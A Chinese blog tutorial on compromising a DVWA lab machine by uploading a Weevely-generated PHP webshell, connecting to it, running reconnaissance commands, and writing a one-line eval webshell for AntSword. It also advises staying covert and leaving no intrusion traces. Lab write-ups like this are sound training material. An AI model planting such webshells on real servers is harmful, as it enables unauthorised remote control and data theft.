在DVWA靶机上从渗透到控制(weevely和中国蚁剑)
摘要
本文将详细介绍如何使用Weevely工具对运行在Ubuntu系统上的DVWA(Damn Vulnerable Web Application)进行渗透测试。我们将通过一个具体的实例,展示如何利用Weevely实现对低安全等级的DVWA靶机的攻击,并最终获取系统的控制权。实验环境为:靶机IP 192.168.1.37,攻击机Kali Linux IP 10.211.55.29。
一、前言
Weevely是一款基于Python编写的轻量级Webshell管理工具,广泛应用于渗透测试中。它可以通过上传或注入PHP代码片段来获取远程服务器的访问权限。本文将结合DVWA靶机,介绍Weevely的基本使用方法及其应用场景。
二、实验环境搭建
- 靶机配置
- 系统:Ubuntu Server
- 应用:DVWA (Damn Vulnerable Web Application)
- 安全等级:Low
- IP地址:192.168.1.37
- 攻击机配置
- 系统:Kali Linux
- 工具:Weevely, Burp Suite, Metasploit等
- IP地址:10.211.55.29
三、Weevely安装与配置
安装Weevely 在Kali Linux上,可以通过以下命令安装Weevely:
sudo apt-get update sudo apt-get install weevely
生成Webshell 使用Weevely生成一个PHP Webshell文件,并将其保存到本地磁盘:
weevely generate /home/parallels/Downlads/t.php 123
四、Webshell上传与验证
- 登录DVWA 打开浏览器,访问
http://192.168.1.37/dvwa/
,并使用默认用户名和密码(admin/password)登录DVWA。
- 设置安全等级 将DVWA的安全等级设置为“Low”,以确保漏洞更容易被利用。
上传Webshell 进入DVWA的“File Upload”模块,选择之前生成的
t.php
文件并上传。上传成功后,记下Webshell的URL路径(例如:http://192.168.1.37/dvwa/hackable/uploads/t.php
)。验证Webshell 使用Weevely连接到已上传的Webshell:
weevely http://192.168.1.37/dvwa/hackable/uploads/t.php password #这里是123
如果连接成功,你将看到Weevely的交互式命令行界面。
五、执行命令与获取系统信息
- 列出目录 在Weevely命令行中输入
ls
,查看当前目录下的文件列表。 - 切换目录 使用
cd /var/www/html
切换到Web根目录。 - 获取系统信息 输入
uname -a
获取系统的内核版本信息,或者使用whoami
查看当前用户。 - 提权尝试 如果需要进一步提权,可以尝试查找敏感文件(如
/etc/passwd
),或利用其他漏洞进行横向移动。
六、在kali linux里用vim编辑一个名为shell.php
的文件,接下来的步骤用中国蚁剑连接,内容类似于:
<?php @eval($_POST['weevely']); ?>
七、总结
通过上述步骤,我们成功地使用Weevely工具对DVWA靶机进行了渗透测试,并获取了远程服务器的部分控制权。虽然DVWA是一个低安全等级的应用程序,但在实际渗透测试中,类似的漏洞可能存在于更复杂的环境中。因此,掌握Weevely的使用方法对于提高渗透测试技能具有重要意义。
七、注意事项
- 在实际环境中,请确保拥有合法授权后再进行任何渗透测试活动。
- 使用Weevely时,务必注意隐蔽性和安全性,避免留下明显的入侵痕迹。
- 对于生产环境中的Web应用程序,建议定期进行安全评估和漏洞修复。
希望这篇文章能够帮助读者更好地理解Weevely的工作原理及其在渗透测试中的应用。如果有任何问题或建议,欢迎留言交流。
作者简介
吉林白城 70后高级网络安全工程师,双专业、双工学学士学位。阿里云乘风者计划专家博主、51CTO网站合作博主。拥有超过20年的IT行业经验,专注于网络安全、人工智能、运维、数据分析及办公自动化。持有CISE和CISP-PTE认证,在安全架构设计与实施方面经验丰富。擅长利用Python解决复杂问题,推动自动化和效率提升。热衷于技术分享,帮助更多人掌握先进技术和方法。